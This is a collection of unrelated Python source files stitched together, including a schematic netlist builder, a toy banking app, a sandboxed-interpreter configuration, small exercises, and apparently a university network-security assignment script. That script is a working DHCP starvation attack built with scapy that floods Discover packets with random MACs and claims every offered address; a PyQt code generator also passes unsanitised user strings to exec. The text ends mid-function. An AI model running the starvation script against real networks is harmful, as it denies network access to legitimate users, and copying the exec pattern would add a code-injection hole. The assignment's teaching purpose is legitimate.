'''

This module exports one function, makenetlist, which returns a netlist
representation, when given a list of partial nets from the graphic submodule.

Internally, the NetInfo class is used to group all the functions of generating
the netlist together.  It uses makenetgroups.makegroups to do the initial
grouping of the partial nets, and then handles globals, similar names,
invisible pins, etc.

'''

import re
from collections import defaultdict
from .makenetgroups import makegroups
from ..utility import IndexedString

class NetInfo(object):

    def warn(self, *s):
        self.warnings.append('Warning: %s\n' % '\n          '.join(s))

    @staticmethod
    def sortnames(names):
        ''' Sort names higher in the hierarchy before lower names.
        '''
        return sorted(names, key= lambda x:(x.count('/'), x))

    @staticmethod
    def getshortname(net_id):
        return net_id.rsplit('/',1)[-1]

    def canonicalize(self,
                id_pattern = re.compile('([a-zA-Z]+|[0-9]+|\+| \/ )')):
        ''' Convert all net names into canonical versions:
                1) uppercase all letters
                2) remove leading zeros from numerical portions
                3) convert all non-alphanumeric characters except '+'
                    into underscores
                4) convert all separators ' / ' into '/'
                5) Warn about any changes that result in two
                    previously different names being made the same.
        '''

        def canonical(s):
            def id_parts(s):
                for s in id_pattern.split(s):
                    if not s:
                        pass
                    elif s.isalpha():
                        yield s.upper()
                    elif s.isdigit():
                        yield str(int(s, 10))
                    elif s == ' / ':
                        yield '/'
                    elif s == '+':
                        yield '+'
                    else:
                        yield '_'
            return IndexedString(''.join(id_parts(s)))

        def rename(new, old):
            new = self.by_net_id[new]
            if new is old:
                return
            oldname = old.original or old
            newname = new.original or new
            if new.group is not None:
                self.warn('Similarly named signals merged:', '"%s" into "%s"' % (oldname, newname))
            new.merge(old)
            new.items.update(old.items)
            new.original = new.original or oldname
            old.group.remove(old)
            old.group = None
            old.items.clear()
            del self.by_net_id[old]

        def getbyname():
            # Dictionary indexed by canonicalized signal name of
            #     Dictionary indexed by non-canonicalized signal name of
            #        Set of new net IDs, old net IDs
            #           Set of net ids
            byname = defaultdict(dict)
            for oldid in self.by_net_id:
                newid = canonical(oldid)
                oldname = oldid.rsplit(' / ', 1)[1]
                newname = newid.rsplit('/', 1)[1]
                byname[newname].setdefault(oldname, []).append((newid, oldid))
            return byname.itervalues()

        def convertdict(namedict):
            namelist = list(namedict.iteritems())
            namelist.sort(key=lambda x: (len(x[1]), x[0], x[1]))
            if len(namelist) > 1:
                self.warn('The following net names are considered to be the same name:',
                        ', '.join(x[0] for x in namelist))
            for oldname, id_tuples in namelist:
                for newid, oldid in sorted(id_tuples):
                    rename(newid, oldid)

        for namedict in getbyname():
            convertdict(namedict)

    def find_nettypes(self):
        ''' Determine the type of net for every NetId
        '''
        def _assert(what, message):
            if not what:
                    self.warn(message, net_id)

        implicitglobals = set()
        explicitglobals = set()

        for net_id in self.by_net_id:
            pins = net_id.find_pins
            slabels = net_id.find_slabels
            hlabels = net_id.find_hlabels
            glabels = net_id.find_glabels
            labels = net_id.find_labels

            if pins:
                implicitglobals.add(net_id)
                _assert(not (labels or slabels or hlabels), 'Local sheet signal connected automatically to global')
                _assert(not glabels, 'Global signal used both implicitly and explicitly')
            elif slabels:
                _assert(not glabels, 'Global label misused as hierarchical')
                _assert(len(slabels) <= 1, 'Multiple connections to label on instantiating sheet')
                _assert(len(hlabels) + len(glabels) <= 1, 'Multiple entry points onto sheet for hierarchical label')
            elif hlabels:
                _assert(0, 'Hierarchical label not connected in instantiating sheet')
            elif glabels:
                explicitglobals.add(net_id)
                _assert(len(glabels) <= 1, 'Multiple connections to global signal on sheet')

        return implicitglobals, explicitglobals

    def connect_globals(self):
        ''' Connect the globals together across sheets
        '''
        globaldict = {}

        def merged(srcset):
            result = defaultdict(set)
            for item in srcset:
                globalnet = self.by_net_id[self.getshortname(item)]
                result[globalnet].add(item)
                globalnet.merge(item)
            return result

        implicit, explicit = self.find_nettypes()
        implicit = merged(implicit)
        explicit = merged(explicit)

        for net_id, old_ids in explicit.iteritems():
            if len(old_ids) == 1:
                net_id, = old_ids
                if len(net_id.group.find_real_pins) > 1:
                    self.warn('Global net only used on one page:', net_id)

        for net_id in (set(implicit) & set(explicit)):
            self.warn('Global net used both implicitly and explicitly:',
                    'Explicit: %s' % sorted(explicit[net_id])[0],
                    'Implicit: %s' % sorted(implicit[net_id])[0])

    def shorten_names(self):
        ''' Strip the hierarchy off the front of names where possible
        '''
        getshortname = self.getshortname
        by_net_id = self.by_net_id
        shortnames = defaultdict(set)
        for net_ids in self.allgroups:
            for net_id in net_ids:
                shortnames[getshortname(net_id)].add(net_id)

        for shortname, nameset in shortnames.iteritems():
            groups = [(x.group, x) for x in nameset]
            groups = dict(((id(x), (x, y)) for (x, y) in groups))
            groups = list(groups.itervalues())
            if len(groups) == 1:
                shortname = self.by_net_id[shortname]
                if shortname.group is None:
                    shortname.merge(groups[0][0])
                else:
                    assert shortname.group is groups[0][0]
            else:
                assert groups
                self.warn('Unconnected local nets of same name:',
                    '; '.join(sorted((x[1] for x in groups))))

    def namegroups(self):
        ''' Store the names associated with each group inside it.
        '''
        getshortname = self.getshortname

        def selectshortest(names):
            return self.sortnames(names)[0]

        for group in self.allgroups:
            if group:
                names = defaultdict(set)
                for net_id in group:
                    names[getshortname(net_id)].add(net_id)
                names.pop('?', None)  # Use "?" to mean "no net"
                names = [selectshortest(x) for x in names.itervalues()]
                names = self.sortnames(names)
                if len(names) > 1:
                    self.warn('Aliased net names:', str(names))
                group.names = tuple(names)
            else:
                group.names = ()

    def find_pins(self):
        ''' Rummage through the group items and pull the pins out
            into a separate set.
        '''
        goodgroups = []
        self.allgroups, oldgroups = goodgroups, self.allgroups
        for group in oldgroups:
            if not group and not group.items:
                continue
            goodgroups.append(group)
            group.pins = pins = set()
            for pin in group.find_real_pins:
                pin.group = group
                pins.add(pin)
                net_ids = pin.net_ids
                if not net_ids:
                    continue
                others = pin.partial.net_ids - set(net_ids)
                if not others:
                    continue
                self.warn('Visible net connected to invisible pin',
                            '%s connects %s and %s' %
                            (pin.full_info, ', '.join(net_ids), ', '.join(others)))

            if len(pins) > 1:
                continue

            name = ', '.join(group.names)
            for pin in pins:
                if name:
                    self.warn('Net connects no other pins -- net name ignored',
                            'Net %s, %s' % (name, pin.full_info))
                else:
                    if not pin.partial.single_pin:
                        self.warn('Pin not connected in final netlist', pin.full_info)
                break
            else:
                goodgroups.pop()
                if name:
                    self.warn('Named net ignored (contains no pins)', name)
                else:
                    bigspace = '\n' + 20 * ' '
                    self.warn('Unconnected net',
                        'Elements:%s%s' % (bigspace,
                            bigspace.join(sorted(x.full_info for x in group.items))))

    def kill_aliased_pins(self, pinlist):
        groups = set((id(pin.group) for pin in pinlist))
        if len(groups) > 1:
            bigspace = '\n' + 20 * ' '
            self.warn('Aliased pins connected to different nets',
                    'Elements:%s%s' % (bigspace,
                        bigspace.join(sorted('%s %s' % (x.full_info, x.group.names) for x in pinlist))))
        pinlist.pop()
        for pin in pinlist:
            pin.group.pins.remove(pin)

    def check_aliased_pins(self):
        ''' For parts with multiple sub-parts and invisible shared pins,
            consolidate the shared pins.
        '''
        partdict = defaultdict(dict)
        for group in self.allgroups:
            for pin in group.pins:
                partdict[pin.component.refdes].setdefault(pin.pinnum, []).append(pin)
        aliasedpins = []
        for pindict in partdict.itervalues():
            for pinnum, info in pindict.iteritems():
                if len(info)> 1:
                    self.kill_aliased_pins(info)

    def getinfo(self):
        return[ (group.names, group.pins) for group in self.allgroups]

    def __init__(self, allpartials, warnings):
        self.warnings = warnings
        self.allpartials = allpartials
        self.by_net_id, self.allgroups = makegroups(allpartials)
        self.canonicalize()
        self.connect_globals()
        self.shorten_names()
        self.namegroups()
        self.find_pins()
        self.check_aliased_pins()

class OneNet(object):
    def __init__(self, names, pins):
        self.__dict__.update(locals())

    def __str__(self):
        return 'Net %s\n     %s' % (
            ', '.join(self.names),
            '\n     '.join(sorted((x.full_info for x in self.pins))))

def makenetlist(allpartials, warnings):
    mylist = NetInfo(allpartials, warnings).getinfo()
    mylist = [OneNet(*x) for x in mylist]
    return mylist


# -*- coding: utf-8 -*-
"""
Created on Sun Aug  1 18:27:07 2021

@author: Ahmed Mohamed Abd Ellatief
"""

import speech_recognition as sr
import numpy as np
import sounddevice as sd
from scipy.io.wavfile import write
from fuzzywuzzy import fuzz,process
import pyttsx3
import sqlite3
from tkinter import *

def bot_listening ():
    dev_info = sd.query_devices(2)
    fs = int(dev_info['default_samplerate'])
    seconds = 5
    myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=1, dtype = np.int32)
    sd.wait()
    write('out.WAV', fs,myrecording)
    r = sr.Recognizer()
    with sr.AudioFile('out.WAV') as source:

        audio_text = r.listen(source)
        try:

            text = r.recognize_google(audio_text)
            print('Converting audio transcripts into text ...')
            print(text)
            input_speach = text
            return input_speach

        except:
           return print('Sorry.. didn\'t hear you...')

def matching_scorer (x,y):
    ratio = fuzz.token_sort_ratio(x,y)
    return ratio

def Bot_speaking(response):
    engine = pyttsx3.init()
    newVoiceRate = 150
    engine.setProperty('rate',newVoiceRate)
    engine.setProperty('voice', 'com.apple.speech.synthesis.voice.samantha')
    engine.say(response)
    engine.runAndWait()


file = open("chronic_banking.txt", "r")
account_name = file.readline().split(", ") #creating list of NAMES
str_account_balance = file.readline(). split(", ") #creating list of AMOUNTS
file.close()

account_balance = []

num_of_accounts = len(account_name)
for x in range(num_of_accounts):
    account_balance.append(float(str_account_balance[x]))

clear_page = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"

class Account:
    def __init__(self, name, balance):
        self.name = name
        self.balance = balance

account_obj = []

for x in range(num_of_accounts): #create the object names
    y = str(x)
    account_obj.append("account_" + y)

for x in range(num_of_accounts): #creates the objects and adds parameters
    account_obj[x] = Account(account_name[x], account_balance[x])

print(clear_page)
print("\n═══════════════════════════════════════")
print("   ______              __   __)        ")
print("  (, /    )           (, ) /  ,        ")
print("    /---(  _  __        /(     __   _  ")
print(" ) / ____)(_(_/ (_   ) /  \__(_/ (_(_/_")
print("(_/ (               (_/           .-/  ")
print("═════════════════════════════════(_/═══\n")

input("Press any key to continue.")

def menu():
    on = True

    available_options = [
        "View accounts",
        "Edit account balance",
        "Quit program"
    ]

    while on:
        print("\n\n══════════════════════════════════")
        print("||          M  E  N  U          ||")
        print("══════════════════════════════════\n")

        for i, option in enumerate(available_options):
            print(f"{i + 1}. {option}\n")

        print("\n\n\n\n\n\n\n\n")

        choice = input(f"Select an option (1-{len(available_options)}): ")

        if choice == "1": #view money
            view_accounts()
        elif choice == "2": #input paycheck
            edit_account()
        elif choice == "3": #quit
            on = False #option to close menu
            if on == False:
                break
        else: # error handling
            print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n**ERROR: Please select an option from the list above.\n\n\n\n\n\n\n\n\n\n\n\n\n")
            input("Press any button to retry.")

def back_menu():
    input("Press enter to return to the menu.")
    menu()

def view_accounts():
    print("\n\n")

    for obj in account_obj:
        if(obj.name == "Cash"):
            print("========== CASH ===========")
            print(f"{obj.name.strip()}: $" + "{:0,.2f}".format(obj.balance))
        elif(obj.name == "Chequing Account"):
            print(f"{obj.name.strip()}: $" + "{:0,.2f}".format(obj.balance))
            print("===========================\n\n")
            print("========= SAVINGS =========")
        else: #ACCOUNTS: investments, rent, food, emergency funds
            print(f"{obj.name.strip()}: $" + "{:0,.2f}".format(obj.balance))

    print("===========================\n\n")

    total_balance = sum(account_balance)
    print("======= TOTAL MONEY =======")
    print("Total Money: $" + "{:0,.2f}".format(total_balance))
    print("===========================\n\n")

    back_menu()

def edit_account():
    on = True
    print("\nWhich account would you like to edit?\n")

    for i, obj in enumerate(account_obj):
        print(f"{i+1}." + obj.name)

    available_options = [
        "Deposit to account",
        "Withdraw from account",
        "Edit account balance",
        "Return to menu"
    ]

    choice_a = int(input(f"Select an option (1-{len(available_options)}). ")) - 1

    print("=================")
    print("Available Options:")
    print("=================")
    for i, option in enumerate(available_options):
        print(f"{i + 1}. {option}\n")

    choice_b = input("Choose an option: ")

    while on:

        if choice_b == "1":
            current = float(account_obj[choice_a].balance)

            print("How much would you like to deposit?")
            to_deposit = float(input("Enter amount here: "))

            new_balance = current + to_deposit

            account_obj[choice_a].balance = new_balance

            save()

            return

        elif choice_b == "2":
            current = float(account_obj[choice_a].balance)

            print("How much would you like to withdraw?")
            to_withdraw = float(input("Enter amount here: "))

            new_balance = current - to_withdraw

            account_obj[choice_a].balance = new_balance

            save()

            return

        elif choice_b == "3":
            print(f"Current balance: {account_obj[choice_a].balance}")
            edited_balance = float(input("What would you like to edit this balance to?"))

            print(f"New balance: ${account_obj[choice_a].balance}")
            print("Are you sure you want to keep these changes?")
            choice = input("Y/N\nEnter here: ")

            if choice == "Y" or "y":
                account_obj[choice_a].balance = edited_balance
            elif choice == "N" or "n":
                print("Returning to menu ...")
                back_menu()
            else:
                print("Invalid response. Returning to menu...")
                back_menu()

            return

        elif choice_b == "4":
            on = False
            print("Returning to menu...")
            back_menu()

        else:
            print("Invalid option.")

def save():
    file = open("chronic_banking.txt", "w")

    for i in range(num_of_accounts):
        if i == num_of_accounts - 1:
            file.write(f"{account_obj[i].name}")
        else:
            file.write(f"{account_obj[i].name}, ")

    for i in range(num_of_accounts):
        if i == num_of_accounts - 1:
            file.write(f"{account_obj[i].balance}")
        else:
            file.write(f"{account_obj[i].balance}, ")

    file.close()

menu()


# -*- coding:utf-8 -*-
# !/usr/bin/env python
# Author:dc

goods = [
    {"name": "电脑", "price": 1999},
    {"name": "鼠标", "price": 10},
    {"name": "游艇", "price": 20},
    {"name": "美女", "price": 998}
]

print(sum([x["price"] for x in goods]))


import ast
import operator as op
from typing import Sequence

from .exceptions import *
from .types import *

__all__ = ("DraconicConfig", "OperatorMixin", "zip_star")

# ===== config =====
DISALLOW_PREFIXES = ["_", "func_"]
DISALLOW_METHODS = ["format", "format_map", "mro"]

class DraconicConfig:
    """A configuration object to pass into the Draconic interpreter."""

    def __init__(
        self,
        max_const_len=200_000,
        max_loops=10_000,
        max_statements=100_000,
        max_power_base=1_000_000,
        max_power=1_000,
        disallow_prefixes=None,
        disallow_methods=None,
        default_names=None,
        builtins_extend_default=True,
        max_int_size=64,
        max_recursion_depth=50,
    ):
        """
        Configuration object for the Draconic interpreter.

        :param int max_const_len: The maximum length literal that should be allowed to be constructed.
        :param int max_loops: The maximum total number of loops allowed per execution.
        :param int max_statements: The maximum total number of statements allowed per execution.
        :param int max_power_base: The maximum power base (x in x ** y)
        :param int max_power: The maximum power (y in x ** y)
        :param list disallow_prefixes: A list of str - attributes starting with any of these will be inaccessible
        :param list disallow_methods: A list of str - methods named these will not be callable
        :param dict default_names: A dict of str: Any - default names in the runtime
        :param bool builtins_extend_default: If False, ``builtins`` to the interpreter overrides default names
        :param int max_int_size: The maximum allowed size of integers (-2^(pow-1) to 2^(pow-1)-1). Default 64.
                                 Integers can technically reach up to double this size before size check.
                                 *Not* the max value!
        :param int max_recursion_depth: The maximum allowed recursion depth.
        """
        if disallow_prefixes is None:
            disallow_prefixes = DISALLOW_PREFIXES
        if disallow_methods is None:
            disallow_methods = DISALLOW_METHODS

        self.max_const_len = max_const_len
        self.max_loops = max_loops
        self.max_statements = max_statements
        self.max_power_base = max_power_base
        self.max_power = max_power
        self.max_int_size = max_int_size
        self.min_int = -(2 ** (max_int_size - 1))
        self.max_int = (2 ** (max_int_size - 1)) - 1
        self.disallow_prefixes = disallow_prefixes
        self.disallow_methods = disallow_methods
        self.builtins_extend_default = builtins_extend_default
        self.max_recursion_depth = max_recursion_depth

        # types
        self._list = safe_list(self)
        self._dict = safe_dict(self)
        self._set = safe_set(self)
        self._str = safe_str(self)

        # default names
        if default_names is None:
            default_names = self._default_names()
        self.default_names = default_names

    @property
    def list(self):
        return self._list

    @property
    def dict(self):
        return self._dict

    @property
    def set(self):
        return self._set

    @property
    def str(self):
        return self._str

    def _default_names(self):
        return {
            "True": True,
            "False": False,
            "None": None,
            # functions
            "bool": bool,
            "int": int,
            "float": float,
            "str": self.str,
            "tuple": tuple,
            "dict": self.dict,
            "list": self.list,
            "set": self.set,
        }

# ===== operators =====
class OperatorMixin:
    """A mixin class to provide the operators."""

    def __init__(self, config):
        """
        :type config: draconic.helpers.DraconicConfig
        """
        self._config = config

        self.operators = {
            # binary
            ast.Add: self._safe_add,
            ast.Sub: self._safe_sub,
            ast.Mult: self._safe_mult,
            ast.Div: op.truediv,
            ast.FloorDiv: op.floordiv,
            ast.Pow: self._safe_power,
            ast.Mod: op.mod,
            ast.LShift: self._safe_lshift,
            ast.RShift: op.rshift,
            ast.BitOr: op.or_,
            ast.BitXor: op.xor,
            ast.BitAnd: op.and_,
            ast.Invert: op.invert,
            # unary
            ast.Not: op.not_,
            ast.USub: op.neg,
            ast.UAdd: op.pos,
            # comparison
            ast.Eq: op.eq,
            ast.NotEq: op.ne,
            ast.Gt: op.gt,
            ast.Lt: op.lt,
            ast.GtE: op.ge,
            ast.LtE: op.le,
            ast.In: lambda x, y: op.contains(y, x),
            ast.NotIn: lambda x, y: not op.contains(y, x),
            ast.Is: lambda x, y: x is y,
            ast.IsNot: lambda x, y: x is not y,
        }

    def _safe_power(self, a, b):
        """Exponent: limit power base and power to prevent CPU-locking computation"""
        if abs(a) > self._config.max_power_base or abs(b) > self._config.max_power:
            _raise_in_context(NumberTooHigh, f"{a} ** {b} is too large of an exponent")
        result = a**b
        if isinstance(result, int) and (result < self._config.min_int or result > self._config.max_int):
            _raise_in_context(NumberTooHigh, "This exponent would create a number too large")
        return result

    def _safe_mult(self, a, b):
        """Multiplication: limit the size of iterables that can be created, and the max size of ints"""
        # sequences can only be multiplied by ints, so this is safe
        self._check_binop_operands(a, b)
        if isinstance(b, int) and b * approx_len_of(a) > self._config.max_const_len:
            _raise_in_context(IterableTooLong, "Multiplying these two would create something too long")
        if isinstance(a, int) and a * approx_len_of(b) > self._config.max_const_len:
            _raise_in_context(IterableTooLong, "Multiplying these two would create something too long")
        result = a * b
        if isinstance(result, int) and (result < self._config.min_int or result > self._config.max_int):
            _raise_in_context(NumberTooHigh, "Multiplying these two would create a number too large")
        return result

    def _safe_add(self, a, b):
        """Addition: limit the size of iterables that can be created, and the max size of ints"""
        self._check_binop_operands(a, b)
        if approx_len_of(a) + approx_len_of(b) > self._config.max_const_len:
            _raise_in_context(IterableTooLong, "Adding these two would create something too long")
        result = a + b
        if isinstance(result, int) and (result < self._config.min_int or result > self._config.max_int):
            _raise_in_context(NumberTooHigh, "Adding these two would create a number too large")
        return result

    def _safe_sub(self, a, b):
        """Addition: limit the max size of ints"""
        self._check_binop_operands(a, b)
        result = a - b
        if isinstance(result, int) and (result < self._config.min_int or result > self._config.max_int):
            _raise_in_context(NumberTooHigh, "Subtracting these two would create a number too large")
        return result

    def _safe_lshift(self, a, b):
        """Left Bit-Shift: limit the size of integers/floats to prevent CPU-locking computation"""
        self._check_binop_operands(a, b)

        if isinstance(b, int) and b > self._config.max_int_size - 2:
            _raise_in_context(NumberTooHigh, f"{a} << {b} is too large of a shift")

        result = a << b
        if isinstance(result, int) and (result < self._config.min_int or result > self._config.max_int):
            _raise_in_context(NumberTooHigh, "Shifting these two would create a number too large")

        return a << b

    def _check_binop_operands(self, a, b):
        """Ensures both operands of a binary operation are safe (int limit)."""
        if isinstance(a, int) and (a < self._config.min_int or a > self._config.max_int):
            _raise_in_context(NumberTooHigh, "This number is too large")
        if isinstance(b, int) and (b < self._config.min_int or b > self._config.max_int):
            _raise_in_context(NumberTooHigh, "This number is too large")

# ==== other utils ====
def zip_star(a: Sequence, b: Sequence, star_index: int):
    """
    Like zip(a, b), but zips the element at ``a[star_index]`` with a list of 0..len(b) elements such that every other
    element of ``a`` maps to exactly one element of ``b``.

    >>> zip_star(['a', 'b', 'c'], [1, 2, 3, 4], star_index=1)  # like a, *b, c = [1, 2, 3, 4]
    [('a', 1), ('b', [2, 3]), ('c', 4)]
    >>> zip_star(['a', 'b', 'c'], [1, 2], star_index=1)  # like a, *b, c = [1, 2]
    [('a', 1), ('b', []), ('c', 2)]

    Requires ``len(b) >= len(a) - 1`` and ``star_index < len(a)``.
    """
    if not 0 <= star_index < len(a):
        raise IndexError("'star_index' must be a valid index of 'a'")
    if not len(b) >= len(a) - 1:
        raise ValueError("'b' must be no more than 1 shorter than 'a'")

    length_difference = len(b) - (len(a) - 1)

    yield from zip(a[:star_index], b[:star_index])
    yield a[star_index], b[star_index : star_index + length_difference]
    yield from zip(a[star_index + 1 :], b[star_index + length_difference :])


import tensorflow as tf
import numpy as np
import string

## All the alphabetic charater
alphabet=list(string.ascii_lowercase)

alphabet=alphabet+[" "]

print("the lastest element in alphabet is ", f"this {alphabet[-1]}")

model=tf.keras.models.load_model("predict_name.h5")

def encod_names(name):
    name_split=list(name)
    name_encoded=[alphabet.index(name_split[i])+1 for i in range(len(name_split))]
    return name_encoded

def comp_list(x):
    if len(x)< 50:
        x=[0]*(50-len(x))+x
    return x

def nametonum(name: str):
    name=name.lower()
    name_encoded=encod_names(name)
    name_encoded=comp_list(name_encoded)
    return [name_encoded]

### function to predict

def predict_name(name: str):
    name=np.array(nametonum(name))
    p=model.predict(name)
    if p[0][0]>.3:
        return 'Male', p
    else:
        return 'Female', 1-p


import random
y = ["abhinav","sravan","koundinya","ajitesh","teja","tt"]
t1 = []
t2 = []
while (len(y) != 0):
    x = random.choice(y)
    if (len(t1) == len(t2)):
        t1.append(x)
        y.remove(x)
    elif (len(t1) > len(t2)):
        t2.append(x)
        y.remove(x)
print("Team A: ", t1)
print("Team B: ", t2)


from threading import Thread
from PyQt5.QtWidgets import QWidget, QAction

# Action Settings
import configparser
config = configparser.ConfigParser()
config.read('config/action_settings.ini')
DOT = config['ACTION']['DOT']
SEP = config['ACTION']['SEP']
ADD = config['ACTION']['ADD']
SUB = config['ACTION']['SUB']
DIV = config['ACTION']['DIV']
MUL = config['ACTION']['MUL']
SPL = config['ACTION']['SPL']
NPZ = config['ACTION']['NPZ']
MOD = config['ACTION']['MOD']
JSN = config['ACTION']['JSN']
N = '\n'
T = '\t'
TT = '\t\t'
TTT = '\t\t\t'

class CreateClass(QWidget):
    def __init__(self, nodeflow_main, n, nn, config):
        super(CreateClass, self).__init__()

        name = nn+'Class_Name'

        nodeflow_main.createAttribute(node=n, name='Class_Name', preset='String', socket=True, plug=True, dataType='str', dataAttr='')
        nodeflow_main.createAttribute(node=n, name='Funtion_Name', preset='String', socket=True, plug=True, dataType='str', dataAttr='')

class CreateClassAction(QAction):
    """Main widget"""
    def __init__(self, attrData, config):
        super(CreateClassAction, self).__init__()

        CLASS_NAME = attrData.get('Class_Name')
        FUNCTION_NAME = attrData.get('Funtion_Name')

        class_import = 'from PyQt5.QtWidgets import QWidget' +N
        class_create = 'class ' + CLASS_NAME + '(QWidget):' +N
        class_init = T+ 'def __init__(self):' +N
        class_super = TT+ 'super(' + CLASS_NAME + ', self).__init__()' +N

        class_exec = CLASS_NAME + DOT + FUNCTION_NAME + '()'+ N

        class_lines = class_import + class_create + class_init + class_super
        main_exec = class_exec
        class_build = class_lines + main_exec

        print(class_build)
        exec(class_build)


n = int(input("Enter the number:"))
while n < 0:
    n = int(input("Enter the number:"))
if n % 2 == 0:
    len = int(n / 2)
else:
    len = int(n / 2) + 1

for i in range(1, n + 1):
    for j in range(1, i + 1):
        if i <= len and (j == 1 or j == i):
            print("*", end="")
        else:
            if (n - i + 1 - j) < 0:
                break
            if j == 1 or (n - j + 1) <= i:
                print("*", end="")
            else:
                print(" ", end="")
    print()


"""
Python Version 3.8

Singapore Institute of Technology (SIT)
Information and Communications Technology (Information Security), BEng (Hons)

ICT-2203 Network Security Assignment 1

Author: @ Tan Zhao Yea / 1802992
Academic Year: 2020/2021
Lecturer: Woo Wing Keong
Submission Date: 25th October 2020

This script holds the code to perform DNS Starvation.
	> Port Security enabled discourage us to use RandMac() from the same host
	> Layer 2 src remains the same, but chaddr at Layer 7 is change to use a RandMac()
	> First, perform DHCP Discover Packet
	> Then, perform DHCP Request Packet after receiving the DHCP Offer Packet
"""

import logging
import multiprocessing as mp

from scapy.all import *

# UDP Port Number Protocol
SERVER_DHCP_PORT = 67
CLIENT_DHCP_PORT = 68

# Default Configurations
IFACE = conf.iface
BROADCAST_MAC = 'ff:ff:ff:ff:ff:ff'
META_ADDR = "0.0.0.0"
BROADCAST_IP = "255.255.255.255"
HW = get_if_hwaddr(IFACE)

# DHPC Options
MSG_TYPE = 0
SERVER_ID = 1
DHCP_OFFER = 2
ANS = 1

# Sleep Time
SLEEP_DURATION = 2

# Logging Configuration
LOG_FILE_DIR = os.path.abspath("logs/dhcp_starve.txt")
logging.basicConfig(filename=LOG_FILE_DIR,
                    filemode='w',
                    level=logging.DEBUG,
                    format='%(asctime)s %(message)s',
                    datefmt='%d/%m/%Y %I:%M:%S %p')

class DHCPStarvation(object):
    def __init__(self, iface, hardware_addr, broadcast_mac, meta_addr, broadcast_ip, random_mac):
        self.iface = iface
        self.broadcast_mac = broadcast_mac
        self.meta_address = meta_addr
        self.broadcast_ip = broadcast_ip

        # Get HW Address
        self.hw = hardware_addr
        self.rand_mac = random_mac

    def send_dhcp_dis_pkt(self):
        """ Creates the DHCP Discover Packet to prepare for DHCP Starvation """
        pkt = Ether(src=self.hw, dst=self.broadcast_mac) \
              / IP(src=self.meta_address, dst=self.broadcast_ip) \
              / UDP(sport=CLIENT_DHCP_PORT, dport=SERVER_DHCP_PORT) \
              / BOOTP(chaddr=self.rand_mac) \
              / DHCP(options=[('message-type', 'discover'), 'end'])

        sendp(pkt, iface=self.iface, verbose=0)

def craft_dhcp_pkt():
    """ Crafting DHCP Discover Packet Starvation Attack """

    # Infinite Attack
    while True:
        logging.info("[*] Crafting DHCP Discover Packet")
        random_mac = RandMAC()
        packet = DHCPStarvation(iface=IFACE,
                                hardware_addr=HW,
                                broadcast_mac=BROADCAST_MAC,
                                meta_addr=META_ADDR,
                                broadcast_ip=BROADCAST_IP,
                                random_mac=random_mac)

        logging.info("[*] Sending DHCP Discover Packet ...")
        packet.send_dhcp_dis_pkt()
        logging.info(f"[*] Sleeping for {SLEEP_DURATION} seconds ...")
        time.sleep(SLEEP_DURATION)

def dhcp_pkt_filter(pkt):
    """
    Allow only DHCP Packet for processing
    :param pkt: Incoming Packet
    :return: Boolean (True/False)
    """
    try:
        if pkt.haslayer(DHCP) and pkt[DHCP].options[MSG_TYPE][ANS] == DHCP_OFFER:
            return pkt[UDP].sport == SERVER_DHCP_PORT and pkt[UDP].dport == CLIENT_DHCP_PORT

        return False

    except:
        pass

def send_dhcp_req(pkt):
    """
    Sending DHCP Request Packet
    :param pkt: Incoming Offer Packet
    """
    dhcp_request = Ether(src=HW, dst=pkt[Ether].src) \
                    / IP(src=META_ADDR, dst=BROADCAST_IP) \
                    / UDP(sport=CLIENT_DHCP_PORT, dport=SERVER_DHCP_PORT) \
                    / BOOTP(chaddr=pkt[BOOTP].chaddr) \
                    / DHCP(options=[('message-type', 'request'), ('server_id', pkt[DHCP].options[SERVER_ID][ANS]), ('requested_addr', pkt[BOOTP].yiaddr),'end'])

    sendp(dhcp_request, iface=IFACE, verbose=0)
    logging.info(f"[*] Successfully Starved Address: {pkt[BOOTP].yiaddr}")

def main():
    """ Sniffer Function """
    sniff(lfilter=dhcp_pkt_filter, prn=send_dhcp_req, iface=IFACE)

if __name__ == '__main__':
    p1 = mp.Process(target=main)
    p2 = mp.Process(target=craft_dhcp_pkt)
    logging.info("[*] Starting Program ...")
    p1.start()
    p2.start()


import turtle

wn=turtle.Screen()
wn.bgcolor("black")
wn.title("Ahsen")

c=["red", "yellow", "cyan", "blue","green"]

a=0
x=100
y=60
pen=turtle.Turtle()
pen.speed(0)
for i in range(100):
	pen.color(c[a])
	a+=1
	if a>4:
		a=0
	pen.fd(x)
	pen.rt(y)
	x-=5

wn.mainloop()


# encoding:utf-8

import re
import logging
import traceback
import xlwt
import StringIO
import math
import base64
from qfcommon.library.mail import MailMessage, MailSender
from utils.tools import unicode_to_utf8
from operator import itemgetter
from utils.base import BaseHandler
from utils.decorator import check
from constants import DATETIME_FMT, EMAIL_PATTERN
from utils.tools import apcli_ex

from excepts import (
    ParamError, ThirdError, SessionError, UserError,
    DBError
)

from qfcommon.base.dbpool import (
    with_database, get_connection, get_connection_exception
)
from qfcommon.base.qfresponse import QFRET, error, success

from qfcommon.web.validator import Field, T_REG, T_INT, T_STR, T_FLOAT
from constants import ACT_ENABLED, ACT_CLOSED, RECORD_STATUS_USE, RECORD_STATUS_DESTROY, \
    ACTIVITY_SHARE_TYPE_COUPON, DATETIME_FMT

log = logging.getLogger()

def re_trade_status(trade_type):
    return {
        RECORD_STATUS_DESTROY: '已撤销',
        RECORD_STATUS_USE: '交易成功'
    }.get(trade_type, '')

def get_union_activty(userid):

    with get_connection('qf_marketing') as db:
        rows = db.select('coupon_rule_mchnt', fields='mchnt_id_list, coupon_rule_id',
                         where={'mchnt_id_list': ('like', '%{}%'.format(userid))})
        if not rows:
            return {}

        sponsor_xx_ids = [i['coupon_rule_id'] for i in rows]
        # 根据sponer_xx_id去取activity表的union_id
        where = {'sponsor_xx_id': ('in', sponsor_xx_ids)}
        rows = db.select('activity', fields='sponsor_xx_id, union_id', where=where)
        if not rows:
            return {}

        # 找出union_id: sponsor_xx_id的对应关系
        union_sponsor = dict()
        for i in rows:
            union_sponsor.update({i['sponsor_xx_id']: i['union_id']})

        union_ids = [i['union_id'] for i in rows]

        # 根据可用的规则id查找对应的红包活动关联的门店id
        where = {'type': ('in', (1, 2)), 'id': ('in', union_ids),
                 'status': ('in', (ACT_ENABLED, ACT_CLOSED))}

        rows = db.select('activity_union', fields='id, title, cmn_id, status, ctime', where=where)
        # 转换为{红包id: {}}的格式
        coupon_dic = dict()
        # 找出union_id: cmn_id的对应关系
        union_cmn = dict()

        if not rows:
            return {}
